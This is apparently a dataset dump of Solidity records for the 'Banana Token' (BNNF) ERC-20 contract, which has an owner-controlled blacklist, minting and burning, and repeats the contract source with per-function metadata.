using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
event AddToBlackList(address account);
event RemoveFromBlackList(address account);
mapping (address => bool) private blackList;
constructor() {
_name = "Banana Token";
_symbol = "BNNF";
_decimals = 18;
_totalSupply = 1 ether * 108000000;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function addToBlackList(address account) external onlyOwner {
blackList[account] = true;
emit AddToBlackList(account);
}
function removeFromBlackList(address account) external onlyOwner {
blackList[account] = false;
emit RemoveFromBlackList(account);
}
/**
* @dev Returns the erc token owner.
*/
function getOwner() external override view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external override view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external override view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external override view returns (string memory) {
return _name;
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external override view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external override view returns (uint256) {
return _balances[account];
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external override returns (bool) {
require(blackList[recipient] == false, "Error: transfer to blacklist address");
require(blackList[_msgSender()] == false, "Error: transfer from blacklist address");
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) external override view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
require(blackList[sender] == false, "Error: transfer to blacklist address");
require(blackList[recipient] == false, "Error: transfer from blacklist address");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function mint(uint256 amount) external onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
/**
* @dev Burn `amount` tokens and decreasing the total supply.
*/
function burn(uint256 amount) external returns (bool) {
_burn(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
} | // banana token | LineComment | getOwner | function getOwner() external override view returns (address) {
return owner();
}
| /**
* @dev Returns the erc token owner.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://980d983f48e621432909dde7d5f678033015a00cc33328e28fff7cadea29f9bf | {
"func_code_index": [
1063,
1154
]
} | 8,988 |
BananaToken | contracts/BNNF.sol | 0x5a2580c799d401737ef7de9f89b582c8fd9a6399 | Solidity | BananaToken | contract BananaToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
event AddToBlackList(address account);
event RemoveFromBlackList(address account);
mapping (address => bool) private blackList;
constructor() {
_name = "Banana Token";
_symbol = "BNNF";
_decimals = 18;
_totalSupply = 1 ether * 108000000;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function addToBlackList(address account) external onlyOwner {
blackList[account] = true;
emit AddToBlackList(account);
}
function removeFromBlackList(address account) external onlyOwner {
blackList[account] = false;
emit RemoveFromBlackList(account);
}
/**
* @dev Returns the erc token owner.
*/
function getOwner() external override view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external override view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external override view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external override view returns (string memory) {
return _name;
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external override view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external override view returns (uint256) {
return _balances[account];
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external override returns (bool) {
require(blackList[recipient] == false, "Error: transfer to blacklist address");
require(blackList[_msgSender()] == false, "Error: transfer from blacklist address");
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) external override view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
require(blackList[sender] == false, "Error: transfer to blacklist address");
require(blackList[recipient] == false, "Error: transfer from blacklist address");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function mint(uint256 amount) external onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
/**
* @dev Burn `amount` tokens and decreasing the total supply.
*/
function burn(uint256 amount) external returns (bool) {
_burn(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
} | // banana token | LineComment | decimals | function decimals() external override view returns (uint8) {
return _decimals;
}
| /**
* @dev Returns the token decimals.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://980d983f48e621432909dde7d5f678033015a00cc33328e28fff7cadea29f9bf | {
"func_code_index": [
1210,
1301
]
} | 8,989 |
BananaToken | contracts/BNNF.sol | 0x5a2580c799d401737ef7de9f89b582c8fd9a6399 | Solidity | BananaToken | contract BananaToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
event AddToBlackList(address account);
event RemoveFromBlackList(address account);
mapping (address => bool) private blackList;
constructor() {
_name = "Banana Token";
_symbol = "BNNF";
_decimals = 18;
_totalSupply = 1 ether * 108000000;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function addToBlackList(address account) external onlyOwner {
blackList[account] = true;
emit AddToBlackList(account);
}
function removeFromBlackList(address account) external onlyOwner {
blackList[account] = false;
emit RemoveFromBlackList(account);
}
/**
* @dev Returns the erc token owner.
*/
function getOwner() external override view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external override view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external override view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external override view returns (string memory) {
return _name;
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external override view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external override view returns (uint256) {
return _balances[account];
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external override returns (bool) {
require(blackList[recipient] == false, "Error: transfer to blacklist address");
require(blackList[_msgSender()] == false, "Error: transfer from blacklist address");
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) external override view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
require(blackList[sender] == false, "Error: transfer to blacklist address");
require(blackList[recipient] == false, "Error: transfer from blacklist address");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function mint(uint256 amount) external onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
/**
* @dev Burn `amount` tokens and decreasing the total supply.
*/
function burn(uint256 amount) external returns (bool) {
_burn(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
} | // banana token | LineComment | symbol | function symbol() external override view returns (string memory) {
return _symbol;
}
| /**
* @dev Returns the token symbol.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://980d983f48e621432909dde7d5f678033015a00cc33328e28fff7cadea29f9bf | {
"func_code_index": [
1355,
1450
]
} | 8,990 |
BananaToken | contracts/BNNF.sol | 0x5a2580c799d401737ef7de9f89b582c8fd9a6399 | Solidity | BananaToken | contract BananaToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
event AddToBlackList(address account);
event RemoveFromBlackList(address account);
mapping (address => bool) private blackList;
constructor() {
_name = "Banana Token";
_symbol = "BNNF";
_decimals = 18;
_totalSupply = 1 ether * 108000000;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function addToBlackList(address account) external onlyOwner {
blackList[account] = true;
emit AddToBlackList(account);
}
function removeFromBlackList(address account) external onlyOwner {
blackList[account] = false;
emit RemoveFromBlackList(account);
}
/**
* @dev Returns the erc token owner.
*/
function getOwner() external override view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external override view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external override view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external override view returns (string memory) {
return _name;
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external override view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external override view returns (uint256) {
return _balances[account];
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external override returns (bool) {
require(blackList[recipient] == false, "Error: transfer to blacklist address");
require(blackList[_msgSender()] == false, "Error: transfer from blacklist address");
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) external override view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
require(blackList[sender] == false, "Error: transfer to blacklist address");
require(blackList[recipient] == false, "Error: transfer from blacklist address");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function mint(uint256 amount) external onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
/**
* @dev Burn `amount` tokens and decreasing the total supply.
*/
function burn(uint256 amount) external returns (bool) {
_burn(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
} | // banana token | LineComment | name | function name() external override view returns (string memory) {
return _name;
}
| /**
* @dev Returns the token name.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://980d983f48e621432909dde7d5f678033015a00cc33328e28fff7cadea29f9bf | {
"func_code_index": [
1500,
1591
]
} | 8,991 |
BananaToken | contracts/BNNF.sol | 0x5a2580c799d401737ef7de9f89b582c8fd9a6399 | Solidity | BananaToken | contract BananaToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
event AddToBlackList(address account);
event RemoveFromBlackList(address account);
mapping (address => bool) private blackList;
constructor() {
_name = "Banana Token";
_symbol = "BNNF";
_decimals = 18;
_totalSupply = 1 ether * 108000000;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function addToBlackList(address account) external onlyOwner {
blackList[account] = true;
emit AddToBlackList(account);
}
function removeFromBlackList(address account) external onlyOwner {
blackList[account] = false;
emit RemoveFromBlackList(account);
}
/**
* @dev Returns the erc token owner.
*/
function getOwner() external override view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external override view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external override view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external override view returns (string memory) {
return _name;
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external override view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external override view returns (uint256) {
return _balances[account];
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external override returns (bool) {
require(blackList[recipient] == false, "Error: transfer to blacklist address");
require(blackList[_msgSender()] == false, "Error: transfer from blacklist address");
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) external override view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
require(blackList[sender] == false, "Error: transfer to blacklist address");
require(blackList[recipient] == false, "Error: transfer from blacklist address");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
